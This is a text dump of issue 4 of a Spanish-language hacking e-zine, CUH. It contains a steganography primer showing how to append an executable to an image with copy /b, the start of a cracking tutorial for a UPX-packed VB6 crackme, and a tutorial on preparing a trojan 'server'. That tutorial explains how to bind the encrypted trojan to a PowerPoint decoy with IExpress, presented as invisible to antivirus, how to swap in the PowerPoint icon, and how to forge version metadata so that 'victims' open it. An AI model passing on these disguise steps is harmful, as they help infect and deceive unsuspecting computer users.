CUH E-zine 4ª Edicion

92
A-PDF Merger DEMO : Purchase from www.A-PDF.com to remove the watermark

description

Revista electrónica enfocada a la seguridad informática y Tecnologías de la información

Transcript of CUH E-zine 4ª Edicion

Page 1: CUH E-zine 4ª Edicion

A-PDF Merger DEMO : Purchase from www.A-PDF.com to remove the watermark

Page 2: CUH E-zine 4ª Edicion

ÍNDICE

1| Portada

2 | Índice

3 | Introduccion a la Esteganografia

9 | Preparando nuestro server

15| Crackeo basico de programas en VB6

22| Busqueda Secuencial

24|Creando un joiner

29| Crear un buscador de archivos en VB

31| Introduccion a C 3Parte

36| Introducción al Batch 3a Parte

41| Técnicas de programación de Scripts

46| Infectar unidades USB

49| La indexación y Tu Dominio

51| Crea Tu propio windows desatendido

54| Pendrive USB de Arranque en Linux

57| Bling Text Tutorial

60| Diseño de interfaces 1

72| Marco Simple Style

74| Retoque Fotografico

80| Userbars con PhotoShop

81| Norton Ghost

84| Razones para usar TuneUp 2008

90| Centinel USB Protector

91| Microcontroladores

La mejor edición de la CUH e-zine, la más completa y la más trabajada, enhorabuena a todos

los miembros que han aportados su granito de arena a este gran proyecto que nació con RuB, y

que se ha extendido hasta hoy con el máximo trabajo de Aleks que se ha encargado de

organizar todo.

No tengo palabras para describir esta edición con una información de primera, más quisieran

muchas comunidades poder hacer esta e-zine…

Yo me despido por ahora del proyecto de la e-zine que no sé si continuará, espero que sí pero

será con otras personas, lo que espero es que aleks continúe ya que hace un grandísimo trabajo

y lo hace muy bien. Gracias por todo aleks en nombre de todos y gracias también a todos los

usuarios que han colaborado en esto y lo han hecho posible.

Muchas gracias por seguir estas series de ediciones.

Ha sido un honor pertenecer a esto, un gran abrazo

RuB

Page 3: CUH E-zine 4ª Edicion

Introduccion a la Esteganografia CUH e-zine 4ª edición

La esteganografía actualmente es conocida por la sociedad y en la seguridad de las Tecnologías de la Información en general, debido a muchos rumores (falsos o no), que corrieron después de los atentados del 11 de septiembre sobre la ciudad de nueva york, se decía que los terroristas usaban esta técnica de ocultación de datos para comunicarse internamente y así planear supuestos futuros atentados, debido a ello se llevo una campaña de investigación en toda Norteamérica y en el mundo en general para comprobar la veracidad de lo que se decía, se crearon programas y aplicaciones capaces de hacer análisis sobre muchos tipos de archivos y que hacen el proceso muy veloz (a pesar de que el proceso de análisis se hace bit a bit), teniendo en cuenta la cantidad de imágenes que circulan en internet es tan voluminosa es una larga, tediosa y ardua labor, y aunque muchos científicos han aunado fuerzas en ello, al parecer no se han obtenido muy buenos resultados, a pesar de que una gran cantidad de personas se han visto involucradas en ello y se han dedicado miles de horas, lo que su queda muy claro es que pocas luces se han visto y se verán sobre el asunto. Lo cierto es que esta técnica si existe y en la actualidad hay muchas técnicas y herramientas tanto de análisis, como de ocultación de los datos dentro de imágenes y sobre otro tipo de archivos digitales o computacionales. La esteganografía ha sido un tópico al cual no se le ha dedicado el trato que mereciera, por mucha gente del campo de la seguridad de las Tecnologías de la Información, la mayoría de las personas no la ven como un potencial ataque, pero es debido a la ignorancia que la gente tiene sobre el asunto. Así empieza ese artículo que antes de intentar ser algo avanzado sobre las técnicas estaganográficas y de estegoanálisis, solo es una ilustración y una introducción a este tipo de técnicas de ocultación y detección de datos incrustados dentro de otros datos

Esteganografía Palabra que aunque suena muy cool y moderna es muy antigua y proviene del griego, su sentido etimológico es: "steganos" (secreto) y "grafía" (escrito) escritura secreta, arte o ciencia de ocultar mensajes dentro de otros mensajes sin que el mensaje contenedor (cubierta o estegomedio) se vea afectado y lo mas importante: que su presencia no sea evidente, ni detectada. Johannes Trithemius, escribió el primer libro impreso de criptología (Al final del articulo hay una referencia). Él inventó una cifra esteganográfica en la cual cada letra era representada como una palabra

obtenida de una sucesión de columnas. Al final se ve una nota sobre este oscuro personaje Esta técnica para ocultar mensajes y datos, es muy antigua y han sido múltiples las formas de hacerlo: en la antigua Grecia se escribían los mensajes en tablas de madera luego eran cubiertas de cera para que simulara no haber tenido uso alguno, Herodoto cuenta que era muy común el uso de tatuajes en el cuero cabelludo de los esclavos que eran usados como mensajes vivientes, de forma que cuando el cabello crecía se ocultaba el mensaje, también se usaron tintas invisibles en las partes en vacías de los mensajes, modernamente se usaron los microfilms, los cuales eran tan pequeños que podían simular ser un punto de un mensaje en un papel, en fin han sido variadas las técnicas de la ocultación de los mensajes, todo ello debido a que los mensajeros eran interceptados y descubiertos, se puede decir que su uso ha sido mayormente bélico. Hoy en día se usa esta técnica en la informática, y se hace incrustando el mensaje dentro de archivos digitales, la técnica varía según el tipo de archivo que sea utilizado como medio, conocido como esteganomedio, los archivos son los de tipo multimedia como son imágenes, videos y archivos de música, debido a su volumen y su estructura interna. No hay que confundir la esteganografía con criptografía y aunque su objetivo es similar, ya que ambas tratan de proteger información sensible, en la criptografía no se trata de ocultar del mensaje sino de hacerlo ilegible para quien no esté al tanto de la clave. La esteganografía pretende ser lo que la criptografía no es, la cual trata de evitar la detección del mensaje, entonces si contamos con un buen algoritmo aseguramos que nadie pueda detectar la información que se pretende ocultar, otra cosa importante, es que debemos contar siempre con el espacio adecuado para hacerlo en el estegomedio, ya que si el mensaje es mas grande que el contenedor, habrá muchas posibilidades de que el mensaje sea descubierto, entonces es donde debemos combinar la esteganografía con la criptografía, y de esta forma asegurarnos de que, por mas de que el mensaje oculto haya sido detectado, al estar cifrado pueda llegar a ser muy difícil descifrar el mensaje oculto. La esteganografía puede utilizarse en solitario para simplemente disimular los datos, o combinarse con la criptografía, de tal manera que los datos que se oculten, estarán encriptados, por lo que si son descubiertos, al menos no se accederá fácilmente a la información protegida. Actualmente existen herramientas estaganográficas gratuitas disponibles para distintas plataformas tales como: F5 que fue desarrollada por Andreas Westfield (toda una eminencia en el ramo) la cual asigna una imagen por su ruta y después determina el camino a seguir de la información que se va a ocultar, MP3Stego es una herramienta

Page 4: CUH E-zine 4ª Edicion

Introduccion a la Esteganografia CUH e-zine 4ª edición que esconde datos en archivos .mp3 su técnica consiste en juntar un archivo de texto con uno .wav y transformarlo en un archivo .mp3, Steganos permite encriptar y esconder archivos, el usuario selecciona un archivo o fólder a esconder, y después el lugar donde desea integrarlo. Imaginemos el caso de una persona que ha detectado movimientos fraudulentos o ilícitos en alguna entidad, bien sea gubernamental o privada, como podría arriesgarse a contar, o a denunciar esto a través de Internet, sin que su intimidad y hasta su propia seguridad se vea afectada. Es aquí donde se hace fundamental el conocimiento y manejo de las distintas técnicas de ocultamiento de datos y los principales medios usados para ello. Es por ello que se hace indispensable conocer la estructura, las características y el uso de los diferentes formatos de archivos multimedia mas usados para esta práctica, a continuación veremos las características de algunos de los formatos más usados para las técnicas estaganográficas, pero será algo muy superficial a modo de referencia ya que nos centraremos en el formato bmp, por su sencillez y por la forma de su estructura.

Formato .JPG Son las iníciales del grupo que desarrollo su algoritmo (Joint of Photographic Experts Group). Es uno de los formatos mas usados en la red, y en las tecnologías de la información. Ya que permite comprimir imágenes con una escasa pérdida de calidad y bajo peso, usado generalmente para almacenar imágenes fotográficas, tanto en color como en escala de grises, mientras los formatos .gif y .png se comportan mejor con imágenes gráficas. El formato JPEG soporta 16,7 millones de colores (24 bits), es el mejor formato para fotografías digitalizadas, texturas, transiciones de color o degradados o cualquier imagen que requiera más de 256 colores, su algoritmo de compresión elimina información de la imagen, mientras mas compresión, menor calidad y menor peso del archivo.

Formato .GIF

Son las siglas de Graphics Interchange Format creado por Compuserve en junio de 1987, un formato de compresión de imagen limitado a 256 colores, emplea el algoritmo de compresión LZW (Lempel Ziv Welch) (consistente en no detectar sólo las repeticiones de un color, sino en detectar las repeticiones de ciertas secuencias) este algoritmo esta patentado. La forma más sencilla de reducir el tamaño de un archivo GIF es disminuir el número de colores, es ideal para gráficos, dibujos, iconos o imágenes de muy pocos color o con grandes áreas del mismo color, es bueno casi para todo tipo de imágenes especialmente las animaciones, exceptuando las imágenes fotográficas, también soporta transparencias -la parte transparente se adapta al color del fondo donde se coloca, se puede almacenar de forma entrelazada carga cada cuatro líneas lo que hace que la imagen e visualice mientras se va cargando. La estructura de todo fichero GIF está basada en bloques, y contiene información sobre la imagen como tal: instrucciones acerca de cómo

exhibirla, información característica de la aplicación con que se creo, un marcador que determina el final del archivo, la paleta de colores, etc. Los ficheros GIF utilizan el modo de color indexado, pudiendo trabajar con dos paletas diferentes, una global y otra local, la paleta global determina los colores de todas las imágenes almacenadas en el GIF (puede haber varias en un mismo fichero), mientras que la local determina específicamente la paleta de cada imagen del GIF (en el caso de haber una sola imagen, la única paleta disponible será la global).

Fomato .PNG

El formato PNG (Portable Network Graphic) es un formato de mapa de bits de libre distribución, válido para PC y MAC y LINUX, nació como alternativa a los formatos GIF y JPG, es de propiedad de la empresa Unisys Corporation, PNG utiliza un esquema de compresión sin pérdidas para reducir el tamaño del archivo, manteniendo intacta la calidad original de la imagen. Puede trabajar en modo Escala de Grises (con un canal alfa), en modo Color Indexado (8 bits, hasta 256 colores, paletas de colores) y en modo RGB (24 bits, 16,8 millones de colores y 48 bits, con 24 bits para canales alfa), por lo que admite 256 niveles de transparencia. Las transparencias conseguidas con PNG son de mayor calidad que las del formato GIF, ya que, al trabajar con más colores, genera transparencias sin bordes pixelados. También permite imágenes entrelazadas, pero no soporta animaciones.

Formato .BMP Uno de los estegomedios más comunes son las imágenes de BitMaps o archivos Bmp, los cuales son un formato estándar de imagen de mapa de bits en sistemas operativos DOS, Windows y válido para MAC y PC, se soportan imágenes de 24 bits (millones de colores), 8 bits (256 colores), puede trabajar en escala de grises, RGB y CMYK. Los archivos de mapas de bits se componen de direcciones asociadas a códigos de color, uno para cada cuadro en una matriz de pixeles, soportan compresión RLE sin pérdida de calidad, tal como se esquematizaría el típico colorea la imagen, donde cada segmento en blanco esta marcado por un numero que a su vez le pertenece un color, como se aprecia en la imagen.

Page 5: CUH E-zine 4ª Edicion

Introduccion a la Esteganografia CUH e-zine 4ª edición Una de sus características es su excesivo uso de espacio en disco, aunque posee un buen nivel de calidad, al ser re-escalados a un tamaño mayor, se pierde calidad, cada pixel puede ocupar 1 o varios bytes, ello depende de la profundidad de color, pueden ser transformados en otros formatos, como JPEG, GIF o PNG. Es de notar que todos archivos digitales siempre comienzan con una cabecera o header la cual lo identifica, además de contener la información básica del mismo, todos los .bmp empiezan con las letras 'BM' o su equivalente en hexadecimal � (0x42 0x4D), que es el que lo identifica con el programa con que se visualizará o editará la imagen, en la cabecera también se incluyen las características generales de la imagen como son : tamaño, número de colores , paleta de colores (si es requerida), y con cuántos bytes se representa el color de cada pixel, otra característica especial de este formato es que comienza a leerse desde abajo a arriba, o sea, en una imagen en 24 bits los primeros 3 bytes corresponden al primer pixel inferior izquierdo. incluye información para posicionarnos en la codificación de los pixeles de la imagen. Dependiendo de la resolución de la imagen, los pixeles pueden estar codificados de diferentes formas: 1,4,8,16,24,32 Bits X Pixel. Por ejemplo, en una resolución típica, de 24 Bits X Pixel, cada pixel de la imagen se representa con 3 Bytes, o sea que se usa un byte para el rojo (Red) , un byte para el verde (Green) y un byte para el azul (Blue), modo RGB.

Estructura de la cabecera de un archivo .BMP

Bytes Información

0, 1 Tipo de fichero "BM" 2, 3, 4, 5 Tamaño del archivo

6, 7 Reservado 8, 9 Reservado

10, 11, 12, 13 Inicio de los datos de la imagen

14, 15, 16, 17 Tamaño de la cabecera del bitmap

18, 19, 20, 21 Anchura (píxels) 22, 23, 24, 25 Altura (píxels)

26, 27 Número de planos 28, 29 Tamaño de cada punto

30, 31, 32, 33 Compresión (0=no comprimido)

34, 35, 36, 37 Tamaño de la imagen 38, 39, 40, 41 Resolución horizontal 42, 43, 44, 45 Resolución vertical 46, 47, 48, 49 Tamaño de la tabla de color

La técnica EOF consiste en añadir un archivo que contendrá los datos que vamos a ocultar, al final de otro archivo el cual nos servirá de medio o cubierta, hay muchos formatos de archivo que permiten esta técnica sin alterar su correcto funcionamiento, los formatos mas conocidos son los siguientes: .ppt, .wav, .mp3, .jpg, .png, exe, .doc , .gif, .bmp, aunque la técnica conocida es muy conocida (Envenenar un archivo) no es una veradera técnica esteganográfica

como tal y aunque es un poco sosa, pasare a explicar algo que se puede hacer desde línea de comandos o desde un archivo batch, pero que servirá eficazmente como técnica de ocultación casera por asi decirlo, ya que es difícil que alguien desapercibido sospeche del mensaje oculto que trae el medio o archivo cubierta, sin embargo para una herramienta de estegoanálisis será algo fácil de detectar, ya que es una de las primeras partes que se analizan de un archivo el famoso EOF, y es un tópico o patrón usado por este tipo de aplicaciones de análisis forense. Existen diversas formas para hacer esto y son muy sencillas, algunas solo requieren un par de línea directamente desde el intérprete de comandos, existen un comando en Windows que no pueden servir para efectuar la técnica EOF, con los comandos type y copy /b acompañado del parámetro /b (Copiar de forma binaria) se pueden fundir dos archivos o mas, para llevar a cabo el siguiente ejemplo necesitaremos cuatro archivos, una imagen .gif, tres archivos de texto y un ejecutable, cabe decir que solo la cabecera del primer archivo agregado (esto en caso de que el archivo no exista - o sea que o crearemos nosotros de cero-) , pero si lo que vamos a hacer es unir mas archivos a uno ya existente, será la cabecera del archivo en el que ocultaremos nuestros datos la que define que programa estará asociada al archivo final. Para el ejemplo nos vamos al disco local C: y creamos la carpeta temporal Prueba allí metemos los archivos que vamos a fundir para ocultar nuestros datos

El archivo Marca.txt contendrá un texto que servirá de marca para poder identificar los archivos (cualquier marca nos servirá en mi caso he usado la cadena de caracteres “<--|||-->”), el Archivo texto.txt contendrá el texto a ocultar (en mi caso he usado la siguiente cadena: “Azmodeo:resU-142tiamat364:ssaP”, el archivo mascara es opcional y se usa para añadir contenido al archivo y hacer mas difícil la forma de encontrar el los datos que vamos a ocultar (en mi caso le he puesto la parte del texto de un archivo ejecutable, el archivo centinel.exe es opcional y lo uso para demostrar que se pueden meter múltiples archivos dentro de otro, incluyendo ejecutables, la cuestión es poder ser capaz de separarlos y hacerlos legibles por las aplicaciones que los lanzarán, y la clave para ello el uso de la marca. Ahora abrimos el cmd.exe y nos ubicamos en c:\prueba y empezamos escribiendo algo asi: type 1.jpg > medio.gif type marca.txt >> medio.gif type texto.txt >> medio.gif type marca.txt >> medio.gif type mascara.txt >> medio.gif type marca.txt >> medio.gif type centinel.exe >> medio.gif

Page 6: CUH E-zine 4ª Edicion

Introduccion a la Esteganografia CUH e-zine 4ª edición type marca.txt >> medio.gif type mascara.txt >> medio.gif Tambien podriamos simplemente escribir: Copy /b 1.jpg + marca.txt + texto.txt + marca.txt + mascara.txt + marca.txt + centinel.exe + marca.txt + mascara.txt Si notan que en la primer sentencia enviamos los datos de el archivo 1.jpg a 1.gif sin que se dañe el archivo permitiéndolo editar normalmente con un editor de imágenes, sin embargo su cabecera es la de un .jpg, como el archivo original. Entonces tenemos el archivo final Medio.jpg, que es el que contiene nuestros distintos datos ocultos, lo lógico seria abrir el archivo Medio.jpg con el Notepad.exe y buscar las marcas para poder extraer las distintas partes que conforman nuestros archivos ocultos, si abriéramos un nuevo documento con el Notepad.exe, y pegáramos cada archivo por separado, pensaríamos que podríamos guardar cada archivo con su extensión original y de esta forma poder abrir normalmente los mismos, es un craso error; es aquí donde se hace necesario usar un editor hexadecimal para reutilizar uno a uno nuestros archivos correctamente, en mi caso usaremos el HexEditor

Para evitar desastres duplicamos el archivo Medio.jpg y abrimos la copia, en este caso Medio2.jpg

Empezamos a ubicar la primera marca para extraer el texto oculto

Las marcas las he resaltado de amarillo y el texto con rojo, ahora nos posicionamos en el primer carácter de la marca, en este caso el carácter < y seleccionamos hacia arriba todo los caracteres, cortamos (CTRL+X) la

selección quedando la primer parte del archivo algo asi:

Asi excluimos la imagen jpg que era la que poseía la cabecera del arhivo Medio2.gif, ahora extraemos el texto que nos atañe, en este caso el user y el pass, al mas puro estilo reto hack, para ello lo hacemos igual, nos posicionamos en el siguiente carácter de la segunda marca, seleccionamos el texto hacia arriba

Cortamos de nuevo, esta vez pegamos el texto en algún editor de texto, ahora extraeremos la mascara, que solo sirve para camuflar

La marca también la extraemos, buscamos la siguiente marca y extraemos el resto, dejando solo la estructura del ejecutable, que al final de este ejemplo es el que nos vale, de igual forma podremos meter múltiples archivos y si hacemos bien todo podremos extraerlos todos, por otro lado también podríamos juntar dos imágenes u otros archivos, y para poder habilitarlos uno a uno, solo debemos extraer el archivo por partes, de esta manera, si extraemos el primer archivo y las marcas y guardamos el archivo con la extensión que le corresponde, el archivo seguirá conteniendo a los otros y no se dañará.

Como para el ejemplo lo que queríamos era extraer el texto oculto y el ejecutable procedemos a guardarlo como tal, en mi caso Centinel2.exe

Page 7: CUH E-zine 4ª Edicion

Introduccion a la Esteganografia CUH e-zine 4ª edición

Explicare otro ejemplo esta vez solo con dos imágenes, la marca y un ejecutable, en este caso 1.jpg, 30f.gif, centinel.exe para ello escribiremos en una sola línea lo siguiente: copy /b 1.jpg + marca.txt + 30f.gif + marca.txt centinel.exe medio.gif Esta vez solo veremos como habilitar la segunda imagen, extrayendo el primer archivo y la marca no mas, el ejecutable lo dejaremos oculto en el medio para después XD.

Guardamos el archivo como .gif y listo, esto no es nada del otro mundo, pero puede sirve como técnica EOF, a la hora de ocultar nuestros archivos o datos. Hay algunos que creen que con el comando copy se puede hacer algo similar, pero la verdad es que este

comando modifica las cabeceras del archivo resultante, dañando las asociaciones del mismo, al fin como siempre digo: es cuestión de experimentar un poco! Una de las buenas herramientas que he descubierto es una que funciona online y se llama Cryptimg aquí les dejo una referencia de ella: Cryptimg es una herramienta con la que podemos guardar un mensaje de texto encriptado dentro de una imagen. El procedimiento para realizar esto es muy simple: subimos cualquier imagen y/o fotografía, ingresamos una contraseña y finalmente escribimos nuestro mensaje secreto. Después de realizar los pasos anteriores, solo debemos enviar la imagen a nuestro receptor junto con la clave y el deberá realizar el procedimiento inverso para descifrarla. O sea, subir de nuevo la imagen a Cryptimg, escribir la contraseña y presionar el botón Descodificar y automáticamente se desencriptará el mensaje. También existen muchísimas herramientas desarrolladas en distintos lenguajes que nos permiten diferentes funciones, pero la descripción de ellas queda para otra ocasión, ya que ellas requiere una explicación detallada sobre las características y funciones esenciales.

Pero la mejor y mas común de las técnicas en la esteganografía, es la técnica sustitutiva del Bit Menos Significativo � LSB (Least Siginificant Bit), en la cual se sustituye el bit mas a la derecha del byte (el cual no tiene mayor relevancia) de un byte especifico, en contraposición del Byte Mas Significativo � MSB (Most Significnt Bit)

Bit Mas Significativo de un Byte

BMS

Bit Menos Significativo de un Byte

LBS

Por lo tanto se hace necesario conocer la estructura interna de cada uno de los archivos multimedia, para así mismo poder elegir una técnica esteganográfica que sea aplicable y que no dañe el archivo ni que le produzca cambios perceptibles por los seres humanos. Como dije anteriormente por su sencillez se ha elegido el formato .BMP como ejemplo para trabajar en este articulo, otra ventaja del formato es la posibilidad de utilizar cualquier bit de la codificación de pixeles de un archivo para ocultar datos, pero el ruido visual seria muy obvio para los bits de mayor peso.

La técnica sustitutiva LSB depende del estegomedio elegido, por ejemplo en el formato JPEG se sustituirán los bits de los coeficientes cuantificados o DCTs, en el formato BMP: se sustituirán los bits de la codificación

Page 8: CUH E-zine 4ª Edicion

Introduccion a la Esteganografia CUH e-zine 4ª edición de los pixeles de la imagen, en el formato GIF: se sustituirían los bits de los índices que direccionan a la paleta de colores, solo por nombrar algunos. La técnica de sustitución se basa en la modificación de los bits menos significativos, de la codificación de los pixeles de una imagen .bmp, se puede aplicar a los pixeles de la forma que se desee, de forma secuencial, aleatoria, combinado ambas, etc. Por ejemplo en una imagen de 24 Bits X Pixel � 3 Bytes, se podría ocultar información en su octeto de Verde, de esta forma los métodos puedes llegar a ser muy variados. Una de las razones por la que el formato .bmp es un buen estegomedio es por su peso, lo cual facilita la labor para aplicar esta técnica ya que causa muy poco ruido visual ya que solo se modifican los bytes de la codificación de los pixeles y es my difícil que el ojo humano alcance a apreciar dichos cambios.

Estegoanálisis

La estegoanálisis es la técnica de detectar, los técnicas estaganográficas aplicadas a una imagen. Saber identificar correctamente el tipo de formato al que pertenece un archivo, es el primer paso que debe tomar el analista para catalogar el archivo adecuadamente y de esta forma poder aplicar una eficaz técnica estegoanalítica que lo lleve a detectar el programa o la técnica usada para el ocultamiento del mensaje o los datos en cuestión. Es cierto también que el objetivo de la estegoanálisis no es descifrar los datos, eso ya es otro cuento, lo importante es poder determinar si en una imagen hay algún tipo de esteganografía, la técnica usada y el tamaño del mensaje o dato oculto. En la actualidad existen muchos programas de esteganografía unos gratuitos otros no, pero la mayoría siguen unos patrones y es allí donde entra la labor del analista, el cual debe ser capaz de identificar dichos patrones (las cuales pueden ser transformadas en marcas perceptibles por el analista) que quedan en las imágenes después de ser sometidas a esteganografía, bien sea manualmente o por parte de las aplicaciones especializadas para ello. Son estos patrones los que deben ser tenidos en cuenta al hacer un análisis o bien sea a la hora de crear aplicaciones o programas de estegoanálisis. Un concepto erróneo seria afirmar que la sustitución aleatoria no produce cambios medibles dentro de la estructura del archivo, y se ha demostrado que al aplicar una técnica sustitutiva LSB sobre los pixeles de una imagen, sin importar la forma en que se escojan los pixeles que se sustituirán, siempre quedan rastros que pueden llegar a ser seguidos por los analistas, entre mas grande sea el mensaje igualmente serán son las huellas dejadas por la técnica sustitutiva.

Técnicas estegoanalíticas

Algunas de las técnicas mas usadas son los llamados ataques visuales, las actúales herramientas de estegoanálisis poseen funciones que por medio de filtros especiales muestran visualmente la presencia de información oculta, (dependiendo lógicamente de el formato de la imagen) los resultados la mayoría de las veces son evidentes a simple vista, al aplicar LSB de

forma secuencial sobre alguna zona de los pixeles de la imagen y si se somete a un proceso de ataque visual se observaran fácilmente dichos cambios en la imagen, otro tipo de técnicas usadas para el análisis son los algoritmos estadísticos, quienes determinan la mayoría de las veces, el tipo de herramienta usada para ocultar la información dentro de una imagen o archivo, en algunos caso se debe utilizar el estegomedio en mas de un 97% tal como ocurre en el caso del Algoritmo ChiSquare, también cuando los datos son almacenados de forma aleatoria se recurre al algoritmo llamado RS, estos ataques se pueden aplicar a muchos de los distintos formatos gráficos mas conocidos y con diferentes codificaciones especiales para imágenes tipo RGB, hay muchos algoritmos mas, y la forma en que funcionan son todo un tópico, por eso amigos se los dejo para otra ocasión

La elección del estegomedio es algo indispensable y debe ser única para cada transferencia. Lo recomendable es usar imágenes de alta resolución tal como imágenes escaneadas o tomadas con cámaras digitales, también las escalas de grises son ideales, entre mas pequeña sea la información a ocultar menor será el riesgo de detección por parte de analistas o herramientas de estegoanálisis, otra forma es usar varias cubiertas para ocultar información de gran envergadura.

Johannes von Heydenberg aus Trittenheim/Mosel, o Johannes Trithemius, escribió el primer libro impreso de criptología. Él inventó una cifra esteganográfica en la cual cada letra era representada como una palabra obtenida de una sucesión de columnas. La serie de palabras resultantes sería una oración legítima. También describió cifras polialfabéticas en la forma de tablas de sustitución rectangulares que, en la época, ya tenían se hecho patrón. Introdujo la noción del cambio de alfabetos cada letra. Johannes Trithemius escribió, sin embargo no publicó, su Steganographia, la cual circuló como manuscrito por más de cien años, siendo copiada por muchas personas que deseaban extraer los secretos que se pensaba que contenía.

Espero que les haya gustado el articulo, y es solo una introducción sobre este rollo de la ocultación de datos dentro de otros o esteganografía, en la próxima parte de este articulo trataré sobre la forma de ocultar datos con programas hechos para ello, la forma de detectar dichos datos usando aplicaciones de esteganoanalisis y la forma teórica o esquemática para poder hacer aplicaciones de esteganografía o de estegoanálisis, bien sea para ocultar o detectar datos ocultos dentro de otros datos, sobra decir que este articulo es libre, y que se puede: editar, copiar o manipular el contenido sin restricciones.

By Aleks

Page 9: CUH E-zine 4ª Edicion

Preparando nuestro server CUH e-zine 4ª edición

Una de las preguntas mas comunes al momento de crear y encriptar nuestro server, es como podemos engañar a nuestra victima para que no sospeche al momento de abrir nuestro server. Antes que todo, debemos tener en cuenta que el arte que envuelve a la ingeniería social es muy importante al momento de tratar de conseguir nuestro cometido, pero no entraré en detalle ya que este tema se ha tocado en anteriores e-zines. Lo que haremos es “maquillar” nuestro server para que no sea tan sospechoso y para ello necesitaremos de las siguientes herramientas:

� Server encriptado

� Presentación Power Point (.pps)

� PowerPoint Slide Show Convert

� Iexpress

� MiTeC IconFactory

� Resoucer Hacker

� eXeScope

Utilicé una presentación de Power Point como archivo señuelo ya que a todo el mundo le encanta ver este tipo de archivos, por esta razón es recomendable no usar archivos de imágenes debido a que en el explorador de Windows, el msn y correos electrónicos, pueden pre visualizar imágenes, generando de esta manera sospechas, debido a que el archivo que estamos enviando es de extensión .exe Bueno, lo primero que vamos a hacer es convertir nuestro archivo lo_mejor.pps en lo_mejor.exe, con el fin de poder utilizar el Iexpress como binder. Como todos saben, el Iexpress es una herramienta propia de Windows que podemos utilizar para unir o juntar dos archivos de extensiones .exe en uno solo también de extensión .exe, convirtiéndose de esta manera en el blinder perfecto, indetectable a los anti virus. Para ello utilizamos un programa llamado PowerPoint Slide Show Converter, aunque existen muchos mas que nos sirve para realizar este tipo de conversión. Abrimos Power Point Slide Show Converter:

Luego veremos el menú principal

Seleccionamos Simple Mode y veremos lo siguiente

Lo siguiente que haremos es presionar el botón select del recuadro Source Microsoft Power Point File donde elegiremos nuestro archivo lo_mejor.pps

Ahora solo debemos presionar el botón Make Slide

Show para que realice la conversión. Una vez finalizada la conversión presionamos el botón aceptar.

Page 10: CUH E-zine 4ª Edicion

Preparando nuestro server CUH e-zine 4ª edición

Al final veras el resultado de tu presentación de Power Point, en un archivo aplicativo.

Bueno, lo siguiente que haremos es bindear el server encriptado (troyano) con lo_mejor.exe (señuelo).

No entro en detalle sobre la configuración ya que la info la puedes encontrar en foro.el-hacker.com. El resultado del bindeo es un archivo aplicativo o ejecutable como el siguiente:

Lo siguiente que haremos es buscar el Icono de power point, el cual podremos extraer con un programa muy

bueno llamado MiTeC IconFactory

Lo siguiente que haremos es abrir el programa y seleccionar open desde File ubicado en el menú principal.

A continuación ubicaremos la carpeta de Microsoft office para ubicar el icono de Power Point

Le damos doble clic a POWERPNT.EXE y veremos todos los iconos que maneja dicho programa. En este punto debemos seleccionar el icono que deseamos y el de mayor tamaño.

Page 11: CUH E-zine 4ª Edicion

Preparando nuestro server CUH e-zine 4ª edición

Lo que haremos ahora es guardar el icono para ser utilizado mas adelante.

El resultado es un archivo con extensión .ico

El siguiente paso es cambiar el icono de nuestro server, ya que el que tiene actualmente corresponde al asignado por el IExpress. Para poder hacer el cambio utilizamos programa conocidos por todos que es el Resoucer Hacker.

Lo que haremos es seleccionar el archivo al que queremos cambiarle el icono, siendo en nuestro caso el server que ya bindeamos y que denominamos como Archivo_IExpress.exe.

Una ves seleccionado el archivo procedemos eliminar la carpeta AVI como lo muestra en la figura.

El siguiente paso consiste en cambiar el icono, asi que debes seleccionar la opción Replace Resource

Ahora lo que debemos hacer es cambiar el icono actual por el icono de Power Point, para ello oprimimos el botón Open File with new Icon.. y ubicamos el archivo POWERPNT_4.ico

Page 12: CUH E-zine 4ª Edicion

Preparando nuestro server CUH e-zine 4ª edición

Después solo debemos oprimir Replace

Como verán los iconos ya fueron cambiados y solo queda guardar los cambio con la opción save as y elegimos guardar sobre el ya existente es decir en Archivo_IExpress.exe.

Como se darán cuenta, saldrá un mensaje preguntando si desean remplazar el archivo, al cual deberán darle yes. Al final y después de refrescar la ventana donde se encuentra nuestro server, veremos que su icono a cambiado.

Si detallan el archivo podrán ver datos como Win32 Cabnet Selft-Extractor y Microsoft Corporation,

información que levantaría sospechas. Para dar solución a este inconveniente usaremos un programa llamado eXeScope

Lo que debemos hacer es abrir nuestro server con este programa.

Page 13: CUH E-zine 4ª Edicion

Preparando nuestro server CUH e-zine 4ª edición

Ahora lo que haremos es modificar algunos datos para mejorar su aspecto, FileDescription y CompanyName. Lo primero es dar un clic al botón derecho sobre FileDescription, seleccionamos editar y escribimos lo que queramos, por ejemplo Microsoft Office, lo mismo hacemos con CompanyName, al cual lo cambiaremos por Power Point.

Después de modificarlo veremos algo como…………

Lo siguiente que haremos es dar en la X para cerrar el programa, pero antes de que se cierra nos pide confirmar el cambio del tamaño del archivo al cual le daremos aceptar

Al final obtendremos un archivo mas creíble al que debemos cambiarle el nombre por el original de la presentación de Power Point, lo mejor.

Aclaro que lo mas importante es la Ingeniería Social que usemos con nuestras victimas, aunque un poco de ayuda no está mal. Saludos

Angelus_7722

Page 14: CUH E-zine 4ª Edicion

Crackeo básico de programas en VB6 CUH e-zine 4ª edición

Bueno, en este tuto veremos algo sobre como desempacar apps protegidas con UPX 1.25, además de tratar con un crackme en VB6 y ver el funcionamiento de algunos programas. Elegí un crackme de N1l0. Para crackearlo, yo usare estos programas: -Procdump v1.6.2 -OllyDbg v1.10 -PEiD -UPX GUI *opcional -PUPE *opcional Además necesitaremos: -Un cerebro con IQ de más de 80 -lápiz/pluma (o algún artefacto para escribir) y papel (o algún lugar donde escribir) -ser hincha del Real (esto es muy importante) Además de los programas, supondré que poseen conocimientos (por lo menos básicos) sobre ingeniería inversa, sobre ensamblador (obviamente) y que han trabajado con el OllyDbg, por esta razón no entrare en explicaciones e iré al meollo del asunto. Así luce el crackme. Podemos suponer a simple vista que fue hecho con VB6, por el icono, además el titulo del tuto lo dice... xD… pero supondremos que no sabemos nada sobre el... ;-).

Lo abrimos con Ollly y lo que vemos en las apis es basura, aunque ni tanto, veamos la última [UPX|Export|<MouduleEntryPoint>], parece que estamos frente a un empacado:

Analizamos con PEiD (siempre debe ser lo primero que hagamos, pero bueno, para que nos familiaricemos un poco con los empacados.), y nos dice:

